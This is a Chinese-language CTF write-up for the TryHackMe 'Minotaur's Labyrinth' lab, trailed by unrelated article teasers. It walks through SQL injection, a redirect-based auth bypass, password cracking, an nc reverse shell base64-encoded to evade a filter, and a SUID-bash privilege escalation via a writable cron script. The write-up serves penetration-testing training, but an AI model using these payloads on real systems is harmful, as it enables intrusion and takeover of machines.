TryHackMe-Minotaur‘s_Labyrinth

news/2024/11/20 4:25:02/

Minotaur’s Labyrinth

嗨,是我,代达罗斯,迷宫的创造者。我能够 实现一些后门,但牛头怪能够(部分)修复它们 (这是一个秘密,所以不要告诉任何人)。但是让我们回到你的任务,扎根这台机器,给牛头怪一个教训。


注意,如果您也正在做这道题,那么建议不要跟着我的思路来做,因为会走很多弯路和出很多问题,但是您可以看看我是如何从弯路又兜回来,并且发现一些有意思的东西的

端口扫描

循例 nmap 扫:

PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
443/tcp  open  https
3306/tcp open  mysql

ftp枚举

┌──(root🐦kali)-[/home/sugobet]
└─# ftp anonymous@10.10.195.127

有一个message文件

ftp> ls
229 Entering Extended Passive Mode (|||1406|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 nobody   nogroup      4096 Jun 15  2021 pub
226 Transfer complete
ftp> ls ./pub
229 Entering Extended Passive Mode (|||40538|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 root     root          141 Jun 15  2021 message.txt
226 Transfer complete

该文件内容:

Daedalus is a clumsy person, he forgets a lot of things arount the labyrinth, have a look around, maybe you'll find something :)
-- Minotaur

可能遗漏了些什么

ftp> ls -la
229 Entering Extended Passive Mode (|||6710|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   3 nobody   nogroup      4096 Jun 15  2021 .
drwxr-xr-x   3 root     root         4096 Jun 15  2021 ..
drwxr-xr-x   2 root     root         4096 Jun 15  2021 .secret
-rw-r--r--   1 root     root          141 Jun 15  2021 message.txt
226 Transfer complete

./.secret文件夹:

ftp> ls -la
229 Entering Extended Passive Mode (|||16813|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   2 root     root         4096 Jun 15  2021 .
drwxr-xr-x   3 nobody   nogroup      4096 Jun 15  2021 ..
-rw-r--r--   1 root     root           30 Jun 15  2021 flag.txt
-rw-r--r--   1 root     root          114 Jun 15  2021 keep_in_mind.txt

flag.txt是flag1

keep_in_mind.txt:

Not to forget, he forgets a lot of stuff, that's why he likes to keep things on a timer ... literally
-- Minotaur

Web枚举

进web一看,又是登录页面

gobuster扫,报错:

Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.195.127/145874a6-07ba-4abc-8b0e-733d3263810c => 302 (Length: 3562). To continue please exclude the status code or the length

我发现如果进入一个不存在的页面,始终会302跳转到login页面

使用-b选项将Negative Status codes改302

┌──(root🐦kali)-[/home/sugobet]
└─# gobuster dir --url http://10.10.195.127/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -b 302

login页面的“Click here for root flag”:

是两哥们的推特

gobuster扫描结果:

/api                  (Status: 301) [Size: 233] [--> http://10.10.195.127/api/]
/cgi-bin/             (Status: 403) [Size: 1035]
/css                  (Status: 301) [Size: 233] [--> http://10.10.195.127/css/]
/imgs                 (Status: 301) [Size: 234] [--> http://10.10.195.127/imgs/]
/js                   (Status: 301) [Size: 232] [--> http://10.10.195.127/js/]
/logs                 (Status: 301) [Size: 234] [--> http://10.10.195.127/logs/]
/phpmyadmin           (Status: 403) [Size: 1190]

/api下是一些增删查改的php文件

/logs下有一个post文件夹,里面有一个日志文件:

POST /minotaur/minotaur-box/login.php HTTP/1.1
...email=Daedalus&password=g2e5*******5r

看到有明文的用户名和密码,注意请求的路径是:

/minotaur/minotaur-box/login.php

我们在浏览器中直接打开,然后使用burp改包

get改post,将

email=Daedalus&password=g2e5*******5r

添加进去,然后放行,发现有登录成功的响应

但是发现每个相应都是302重定向:

Location: login.html

导致浏览器一直无限重定向到login.html

burp登场

一开始我尝试拦截响应,并删除location字段,

万万没想到它是每一个请求,得到的响应都是302跳转

现在我们可以通过burp的“匹配和过滤”功能来自动的帮助我们删除所有响应的location字段

Proxy -> Options -> Match And Replace新增 -> 类型选择response header
match 写入内容: ^Location.*$
剩下的可以不用填然后勾选Regex match,点OK

启用这条rule

接下来的每一个响应,burp将自动为我们删除location字段

此时再次访问:

http://10.10.195.127/minotaur/minotaur-box/login.html

成功显示页面

SQL Injection

进到后台有一个查询框,但是无法正常使用,查看源代码,发现userlvl.js,还记得根目录下的js目录吗,在这里

http://10.10.195.127/js/userlvl.js<!-- Minotaur!!! Told you not to keep permissions in the same shelf as all the others especially if the permission is equal to admin -->

userlvl.js关键代码:

if(table_input == "people"){// console.log("PEOPLE")$.ajax({url: `api/${table_input}/search`,type: 'POST',dataType: "json",data: { "namePeople": `${name_input}` },} else if (table_input == "creatures") {
// console.log("CREATURES")$.ajax({url: `api/${table_input}/search`,type: 'POST',dataType: "json",data: { "nameCreature": `${name_input}` },

我们可以很轻松通过burp来伪造请求

首先在浏览器访问:

http://10.10.195.127/api/people/search

然后burp抓包改包,get改post,按照上面代码来操作

POST /api/creatures/search HTTP/1.1
nameCreature=1' or sleep(3);--

成功延迟,存在sql注入

在burp将请求保存成文件

使用sqlmap -r 识别该文件并进行sql注入

┌──(root🐦kali)-[/home/sugobet]
└─# sqlmap -r ./req --dbsavailable databases [6]:
[*] information_schema
[*] labyrinth
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test

然后常规操作:

sqlmap -r ./req -D labyrinth --tables
sqlmap -r ./req -D labyrinth -T people --columns --dump

密码爆破

发现admin的账号和疑似md5加密的密码

| 5        | M!n0taur     | 1765db94********09ee81fbda4 | admin            |

使用hashcat尝试一下:

┌──(root🐦kali)-[/home/sugobet]
└─# hashcat -a 0 -m 0 '1765db9457f496a39859209ee81fbda4' /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting1765db94*********09ee81fbda4:ami*****uro

爆出来了,前几道题都爆不出来,害我数据库一顿找

难道,我错了吗?

到这里又卡住了,因为我发现前面的登录都是白瞎,后台甚至不用登录都能访问,js未被正常加载

这些问题在开头就引起我的注意了,但我没有去理会,现在我尝试登录管理员账号,登录结果与之前的一样,我知道,麻烦来了

最后我没办法,根本不知道这靶机怎么个回事,只好看wp了

http://10.10.195.127/echo.php?search=

这里可以执行命令

早知道在前面使用gobuster根目录的时候加上 -x php 了

对与错,不是绝对的 - 峰回路转

虽然我前面所作的一切貌似都有问题,但是这也让我意外的发现

只要我们使用burp禁止302跳转,我们就可以越权访问任何页面!!!

为什么这么说,因为当我关掉burp抓包之后,我发现echo.php跳转到了login.html

但是神奇的是,echo.php的页面内容已经包含在了响应当中,只要我们禁止302跳转,浏览器即可正常解析渲染出来该页面内容

这也就是为什么之前我能够进入后台,其实我之前压根没登录成功,只是因为我禁止了302跳转

Reverse shell

好,我们继续使用我刚刚的方法禁止302跳转

继续越权访问echo.php

You really think this is gonna be possible i fixed this @Deadalus -_- !!!? 

有黑名单

题目有提示:

this is the regex used: /[#!@%^&*()$_=\[\]\';,{}:>?~\\\\]/

将payload进行base64:

echo 'mkfifo /tmp/f1;nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1;' | base64

这里要把等号删掉,因为已经过滤了等号

payload:| echo <b64 code> | base64 -d | bash

开启nc监听

成功getshell

daemon@labyrinth:/opt/lampp/htdocs$ id    
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

user.txt:

daemon@labyrinth:/opt/lampp/htdocs$ cat /home/user/flag.txt
cat /home/user/flag.txt
fla9{5upe********laG}

寻找缺失的flag2

在网站根目录一顿看,最终跟踪到index.php发现了flag2:

echo "<li class='nav-item'><a class='nav-link' href=''>fla6{7H@T*********149}</a>

在根目录下发现了:

daemon@labyrinth:/timers$ ls -la
ls -la
total 12
drwxrwxrwx  2 root root 4096 jún   15  2021 .
drwxr-xr-x 26 root root 4096 nov    9  2021 ..
-rwxrwxrwx  1 root root   70 jún   15  2021 timer.sh

这对应上了在开头ftp获得的那些信息

timer.sh:

#!/bin/bash
echo "dont fo...forge...ttt" >> /reminders/dontforget.txt

再看看dontforget.txt:

daemon@labyrinth:/timers$ ls -la /reminders/dontforget.txt
ls -la /reminders/dontforget.txt
-rw-r--r-- 1 root root 41628 jan   16 10:24 /reminders/dontforget.txt
daemon@labyrinth:/timers$ cat /reminders/dontforget.txt
cat /reminders/dontforget.txt
dont fo...forge...ttt
dont fo...forge...ttt
dont fo...forge...ttt
......

刷了一大堆,并且还看到txt一直在被修改,那么很明显,timer.sh是定时任务

我们有权修改,以此获得带suid的bash:

daemon@labyrinth:/timers$ echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" >> ./timer.sh

/tmp/bash

daemon@labyrinth:/timers$ ls -la /tmp/bash
ls -la /tmp/bash
-rwsr-sr-x 1 root root 1113504 jan   16 10:29 /tmp/bash
daemon@labyrinth:/timers$ /tmp/bash -p 
/tmp/bash -p
bash-4.4# id
id
uid=1(daemon) gid=1(daemon) euid=0(root) egid=0(root) groups=0(root),1(daemon)

成功getroot

root.txt:

bash-4.4# cat /root/da_king_flek.txt 
cat /root/da_king_flek.txt
fL4G{YoU_*******9ra7$}

http://www.ppmy.cn/news/12564.html

相关文章

电路方案分析(十六)高效备用电源设计方案

高效备用电源设计方案 备用电源&#xff1a; 备用电源是一种在主电源发生故障时为负载提供紧急电源的电气系统。适当的备用电源通过提供存储在备用电容器或电池中的能量&#xff0c;提供即时保护&#xff0c;防止主电源中断而产生故障。这种备份电源通常用于保护硬件&#xf…

【C语言】小王带您轻松实现动态内存管理(简单易懂)

在上文通讯录制作中&#xff0c;动态通讯录的使用中就用到了动态内存管理&#xff0c;如果有同学想看一看是如何运用的内存管理函数的&#xff0c;请参考这篇文章&#xff0c;接下来我们一起学习动态内存管理的相关知识。【C语言】使用C语言实现静态、动态的通讯录&#xff08;…

产品---竞品分析

竞品分析 【前提】了解竞品发展情况&#xff1b;竞品环境&#xff1b;未来发展前景 【理解】竞品分析拆分来看是竞品分析。针对竞品我们要挑选形似的竞品(如果公司的产品有类型的竞品)或者其他产品中相似的功能&#xff1b;另外就是分析&#xff0c;既然要分析&#xff0c;首…

计算机视觉未来发展与走向

一、引言我们在不知不觉中感受到计算机视觉给予的便利&#xff0c;如人脸识别。如果没有深刻而持久的研究&#xff0c;在今天看起来习以为常的事情是无法实现的。因此&#xff0c;站在巨人的肩膀上谈计算机视觉的未来走向&#xff0c;可以很明确地说&#xff0c;技术的产生本身…

力扣sql基础篇(九)

力扣sql基础篇(九) 1 每位经理的下属员工数量 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 如果是得出来每组都是一个值,就可以在SELECT子句中写非分组字段 # e1.reports_to IS NOT NULL是为了确保是员工,通过员工去找经理 SELECT e2.employee_…

二维矩阵的元素和

二维矩阵的元素和1.背景2.原理3.实现1.背景 对矩阵元素进行求和&#xff0c;或者求子矩阵的元素和&#xff1b;给定矩阵左上角坐标&#xff08;x1,y1&#xff09;和右下角坐标&#xff08;x2,y2&#xff09;; 如何快速求出 以&#xff08;x1,y1&#xff09;&#xff0c;&#…

使用 Cloudflare Zero Trust 通过 SSH 连接到 GitHub Actions 的 Runner 机器以进行调试

GitHub Actions 的 Runner Images 包含了很多常用的开发环境, 使用它来构建一些软件是很方便的. 不过, 构建过程难免会遇到问题, 而在 GitHub Actions 上进行构建和在本地有很多不同之处. 首先 Runner 上的环境复杂, 在本地不易复现, 若是调用了一些外部 Action, 甚至是平台限…

【算法】二叉树

❤️ Author&#xff1a; 老九 ☕️ 个人博客&#xff1a;老九的CSDN博客 &#x1f64f; 个人名言&#xff1a;不可控之事 乐观面对 &#x1f60d; 系列专栏&#xff1a; 文章目录二叉树数组转化为二叉树二叉树转化为二叉链表二叉树的遍历排序二叉树BST&#xff08;二叉搜索树&…